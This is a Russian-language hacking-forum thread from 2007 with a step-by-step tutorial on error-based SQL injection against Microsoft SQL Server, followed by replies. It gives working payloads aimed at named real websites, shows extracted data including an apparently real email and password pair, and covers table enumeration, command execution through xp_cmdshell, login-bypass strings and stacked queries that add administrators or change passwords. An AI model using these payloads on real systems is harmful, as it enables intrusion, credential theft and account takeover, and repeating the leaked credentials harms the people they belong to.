Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Проведение Инъекций в MSSQL сервер от Microsoft. |

03.01.2007, 20:35
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Проведение Инъекций в MSSQL сервер от Microsoft.
Проведение инъекций в MSSQL сервере от Microsoft.
Вступление. Начнем, пожалуй, с вывода ошибок, и так, чем же отличается? - выводом ошибок у mysql и mssql. В mysql можно отключить вывод ошибок, в mssql этого сделать нельзя единственное что можно реализовать это редирект при выводе ошибки. В mssql вывод данных в mssql гораздо более проблематичный чем mysql (выводится только 1 переменная всегда), при этом не все данные из бд можно бывает вывести, иногда не выводяться колонки с кодировкой date int и др. Многие считают что сделать полноценный дамп базы через mssql иньекцию невозможно, но это не так, дальше я попытаюсь рассказать вам все тонкости проведения sql иньекций в msql.
Мы будем рассматривать иньекции на asp aspx cfm (c php mssql ведет себя чуть по другому), так же не будем забывать что админ может просто изменить в конфигах сервера обработку mime/type и расширение файла может любым, но это не введет нас в заблуждение. Если иньекция есть то мы ее найдем. В плюс можно отнести и то что на msql не может существовать blind (слепых) иньекций.
Вывод ошибок.
Приступим к поиску непосредственно самих иньекций. И начнем с изучения ошибок которые выводит mssql в ответ на наши извращения.
Рассмотрим данный урл
http://www.psdata.no/ps.asp?it=1'
Код:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Line 1: Incorrect syntax near 'NO'.
/prodDetails.asp, line 1282
Значит мы нашли вывод ошибки, но это еще не означает что получится изменить запрос к бд.
Проверяем на нашиличие иньекции:
Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести:
1 or 1=@@version-- - Версия
1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера.
1 or 1=(select system_user)-- - Имя юзера владельца данной базой.
Но в нашем случае нам придется слегка видоизменить запрос для его работоспособности...
http://www.psdata.no/ps.asp?it=1' or 1=(select db_name())--
В ответ получим ошибку:
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'fshop' to a column of data type int.
/prodDetails.asp, line 1282
где fshop имя Базы Данных текущего юзера.
Поиск таблиц и колонок.
В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос:
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
В нашем случае запрос будет такой.
http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--
В ответ мы получим:
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'tblMenuTCL' to a column of data type int.
/prodDetails.asp, line 1282
Где tblMenuTCL одна из таблиц. Найдем интересующую нас таблицу методом перебора через NOT IN
http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(' tblMenuTCL'))--
Получаем ошибку:
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'tblTCL_TEST1' to a column of data type int.
/prodDetails.asp, line 1282
Где tblTCL_TEST1 имя второй таблицы. Далее, перебираем до той таблицы которая нам будет нужна. Дальнейший перебор осуществляется так:
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','ta ble2',........,'table50'))--
Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос
1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLU MN_NAME+NOT+IN+('column','column2',.....,'column50 '))--
Вывод данных.
После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь
меня заинтересовали данные колонки:
Код:
CustID
EmailAddress
Password
Приступим к составлению запроса для начала выведем 1 из значений.
http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+EmailAddress +from+Customers)--
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the varchar value 'pdelia@ast-ss.com' to a column of data type int.
/dev/qa_search/full_text.asp, line 23
Что же попробуем вывести все данные которые нас интересуют в 1 запросе, для этого составляем запрос
http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers)--
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'pdelia@ast-ss.com:fzr1000r1' to a column of data type int.
/dev/qa_search/full_text.asp, line 23
Отлично все что нам надо... но это только 1 строка из всей сможем ли мы посмотреть другие для этого используем простой запрос where:
http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers+where+CustID=3)--
Мы получили совсем другую строку ту в которой CustID=3 так мы можем вывести всех юзеров. Но возникает вопрос, как же все-таки сдампить базу. Для этого существуют специальные скрипты которые перебирают все CustID (в нашем примере) и записывают все в файл без лишнего мусора.
Теперь непосредственно о том как мы обьеденяем данные используем мы cast() синтаксис которого cast(perm as encode), далее %2B%27%3A%27%2B это у нас и есть : между выводимыми данными в раскодированном виде выглядит так +':'+.
Исполнение команд.
Еще мы можем исполнять комады если юзеру под которым запущена база достаточно прав, как правило, это только юзер sa. Вот списочек процедур которые при определенных условиях мы сможем использывать:
Код:
xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)
Теперь как же это чудо нам вставить в запрос
;exec master..xp_cmdshell 'dir c:\'--
иногда
';exec master..xp_cmdshell 'dir c:\'--
Если вы задаите вопрос что же можно сделать то посоветую вам обратиться к help cmd.exe, лично использую только 1 метод добавление юзера.
POST Иньекции.
Конечно же затронем тему иньекций постом. в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных. Если же мы хотим просто обойти авторизацию то и используем подобные комбинации в полях логина и пароля:
Код:
' or 1=1--
" or 1=1--
or 1=1--
' or '1'='1
" or "1"="1
') or ('1'='1
Отсупления.
И так несколько моих советов по инжектированию:
1) Ошибка очень многих использывать в mssql union
Например тут:
http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+union+select+0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0--
хотя тут легче работать с подзапросами
http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+or+1=@@version--
2) не забывайте исользывать прерывание запроса в конце --
3) При поиске иньекции методом описанным мной то есть подставляем к параметру or+1=@@version-- пробуйте разные комбинации например
'+or+1=@@version--
')+or+1=@@version--
"+or+1=@@version--
и т.д.
4) Почему использывать именно @@version?
Потому что выводит данные в несколько строк и их легко заметить как например в данном запросе на aspx
http://barijessence.com/?Page=ModelShow&ProductID=1+or+1=@@version--
5)Что следует почитать?
_http://injection.rulezz.ru/
_http://www.securitylab.ru/analytics/216211.php
_http://www.securitylab.ru/analytics/216332.php
_http://www.securitylab.ru/analytics/216333.php
_http://www.securitylab.ru/analytics/216344.php
Так же статьи на forum.antichat.ru
Статья расчитана на начинающих.
И справкой для Всех остальных 
[ cash ] Hack-Shop.Org.Ru (c)
Последний раз редактировалось [ cash ]; 12.01.2007 в 03:16..
|
|
|

07.01.2007, 13:39
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных.
да ладно. а mysql ошибок не выводит? о_0
|
|
|

07.01.2007, 18:39
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
2_Great_
В большинстве авторизацый которые я встречал (именно авторизация про них говорил) обходился ' or 1=1/*.
Обновил все о чем писали.
Исправил граматические ошибки спасибо Thanat0z
Последний раз редактировалось [ cash ]; 12.01.2007 в 03:21..
|
|
|

14.02.2007, 04:40
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме: 7084941
Репутация:
2277
|
|
нужна вторая часть..
и вопрос еще почему при выполнении подзапроса
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)
пишет ошибку
Incorrect syntax near the keyword 'top'.
все до вложеного правильно..
|
|
|

10.04.2007, 18:33
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Продолжение статьи:
Класcификация ошибок в Базах Данных от Microsoft.
Рассмотрим 3 версии самых популярных ошибок в asp.
Для начала рассмотрим те ошибки с которыми мы ничего сделать не можем.
И так по ключевым словам:
1) Microsoft Jet Database
2) VbScript
3) JetDataBase
4) "Потерянный параметр"
Первые 3 класса ошибок образуют отдельную группу. Собственно с чем мы имеем дело. Во всех 3 Примерах мы имеем дело с базой данных Microsoft Jet Database Engine. Как мы видим работает она на Access + VB. Языка как такового в запросах там не используется. В этих случаях мы не можем провести инъекцию так как:
1) Не будет вывода.
2) Запросы передаются на очень низком уровне.
3) Единственное что на мой взгляд тут можно сделать это стресс тест на переполнение буфера в отдельных компонентах которые в крупных компаниях пишут сами.
База данных в таких случаях хранится в файле *.mdb, который обязательно находится на веб сервере вместе с web скриптами. Протокол передачи запросов между базой и веб приложениями я не изучал.
Часто встречал сервера где исользуется обычный mssql и JetDB так что если в первый раз вы определили данный вид базы не стоит расстраиваться, может еще есть шансы на успех.
Редактировать и открывать файлы базы данных можно в Microsoft Office Acceess.
Теперь рассмотрим "Потерянный параметр".
Это я встречал на всех версиях Серверов от Microsoft и так и не разобрался с чем собственно это связанно. При попытке инъекции запроса с нарушением синтаксиса Сервер возвращает ошибку с некорректным параметром. Например
При url
В большинстве случаев это из-за фильтрации, для меня это самое логическое объяснение. Но это не всегда. Лично я встречал случай когда.
Если это так, то мы составим запрос.
site.gov/a.asp?catId=66'&id=6
При этом если в ошибке параметр исчезает и запрос является верным, то мы можем составить далее правильный по синтаксису запрос.
site.gov/a.asp?catId=66+or+1=@@version--&id=6
Но в большинстве случаев это именно фильтрация входяшего параметра, и только потом передача его в с другим "именем" в базу данных.
Идеальная ошибка при составлении не корректного запроса к бд будет.
Microsoft OLE DB Provider for SQL Servererror '80040e14'
Unclosed quotation mark before the character string ''.
/path_to_dir/file.asp, line 99
Именно эта ошибка 80040e14, хотя встречаются разные. Здесь с вероятностью 95% есть инъекция. Так же не забываем, что если ошибка возникает без манипуляции вами параметров скрипта, то это скорей всего ошибка в настройках скрипта, а не инъекция.
Коды ошибок :
http://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/adoce31/htm/ado30ref_100.asp
Данной статьей я хотел показать в каких случаях возможна инъекция да бы на форуме не было одинаковых тем.
Служит продолжением статьи http://forum.antichat.ru/showthread.php?t=30501
[ cash ] Hack-Shop.Org.Ru (c)
Последний раз редактировалось [ cash ]; 08.08.2007 в 00:29..
|
|
|

03.06.2007, 15:25
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
|
|
|

04.07.2007, 20:10
|
|
Участник форума
Регистрация: 22.05.2006
Сообщений: 232
Провел на форуме: 561037
Репутация:
73
|
|
Кто-нибуть ещё может предложить способы для Post Иньекции? Наткнулся на страницу авториции, ничего из перечисленного не прокатило, неужели всё так жёстко фильтруется?
|
|
|

04.07.2007, 20:16
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Не так пробывал значит.
|
|
|
модификация данных в таблицах |

05.07.2007, 00:30
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме: 3025546
Репутация:
1327
|
|
модификация данных в таблицах
так же хочу добавить от себя, в отличае от mysql в mssql возможна модификация данных в таблицах
INSERT
Команда INSERT вставляет новые записи в существующую таблицу. Тоесть мы можем найдя таблицу admins добавить нового пользователя, то есть себя, не нанося существенный вред данным
Рассмотрим на примере:
Код:
http://site.ru/index.asp?id=1; INSERT INTO admins (id, login, password) VALUES (5,'Pantera','qwerty')--
В данном примере я добавил нового админа с id 5, логином Pantera и паролем qwerty;
UPDATE
Команда UPDATE обновляет столбцы таблицы table в соответствии с их новыми значениями
в строках существующей таблицы.
Это значит то, что мы можем поменять к примеру пароль конкретного юзера на свой
Рассмотрим на примере:
Допустим мы нашли таблицу с названием admins и наша задача поменять пароль адмну с логином admin
делаеться это вот так:
Код:
http://site.ru/index.asp?id=1; UPDATE admins SET password = 'newpass' WHERE name='admin'--
Последний раз редактировалось _Pantera_; 05.07.2007 в 00:38..
|
|
|

05.07.2007, 13:16
|
|
Участник форума
Регистрация: 22.05.2006
Сообщений: 232
Провел на форуме: 561037
Репутация:
73
|
|
Сообщение от [ cash ]
Не так пробывал значит.
всмысле не так пробовал? 
просто поочерёдно тулил в поля логин и пасс предоставленные значения ("' or 1=1--" итд). Скрипт вообще никак не ругался, только говорил что лониг и пароль не верны. Причём если вставлять только в логин то скрипт сразу выдавал, что мол пароль не введён. Думал что эта проверка реализована ява скриптом, но в исходниках толком ничего не нашёл, хотя правда бегло просмартел. Нашёл названия переменных логина и пароля и присваивал им значения прямо в адресной строке браузера - тоже ничего. И ещё, возможно ли просто сохранить страничку, вручную поменять метод передачи, ну подставить полный путь к скрипту и таким образом передавать атутентификационные данные, будет ли это нормально (или ненормально  ) воспринимать скрипт?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|